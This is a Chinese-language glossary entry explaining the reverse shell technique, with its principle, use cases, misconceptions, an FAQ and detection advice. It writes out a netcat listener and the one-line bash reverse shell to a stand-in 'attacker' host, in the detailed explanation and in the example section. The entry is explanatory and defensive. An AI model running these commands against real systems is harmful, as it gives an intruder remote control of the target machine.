网络安全专业术语
Reverse Shell
反向 Shell · 让目标机器主动连回来
攻击/渗透漏洞利用
REVE
- 定义
- Reverse Shell是网络安全领域的专业术语。Reverse Shell 让被攻击的主机主动向攻击者发起连接，绕过防火墙的入站限制。
最后更新：2026-03-18
什么是Reverse Shell？
Reverse Shell 让被攻击的主机主动向攻击者发起连接，绕过防火墙的入站限制。攻击者在自己机器上监听端口，目标执行 payload 后反连回来，获得命令行控制。
- 目标主动连接攻击者，绕过入站防火墙
- 渗透测试获取交互式控制的标准方法
- Bash/Python/PowerShell 都能创建反向 Shell
Reverse Shell详解
Reverse Shell 的原理：攻击者在公网 IP 上监听端口（如 nc -lvp 4444），目标主机执行 payload 后主动连接该端口，将 stdin/stdout 重定向到网络连接。常见 payload：bash -i >& /dev/tcp/IP/PORT 0>&1、Python socket 反连、PowerShell 反连。防御需要监控异常出站连接和进程行为。
Reverse Shell的应用场景
正式定义
让目标主机主动向攻击者发起连接的反向命令行控制技术
应用场景
- 渗透测试中获取交互式控制
- RCE 漏洞利用后的权限维持
- 绕过入站防火墙限制
常见误区
- Reverse Shell 不是漏洞，是漏洞利用后的控制手段
- 加密的 Reverse Shell 更难被检测
- 出站流量监控是防御 Reverse Shell 的关键
实际案例
📌 一行代码的 Reverse Shell
bash -i >& /dev/tcp/attacker/4444 0>&1 —— 这一行 Bash 命令就能创建一个完整的反向 Shell，是渗透测试中最常用的 payload。
Reverse Shell的参考来源
关于Reverse Shell的常见问题
- 反弹 Shell 是什么原理
- 目标机器主动连接攻击者的监听端口，建立交互式命令行，绕过防火墙的入站限制（因为是出站连接）。
- 怎么检测反弹 Shell
- 监控异常出站连接、非标准端口通信、进程创建链异常（如 Web 服务进程生成 bash/cmd）。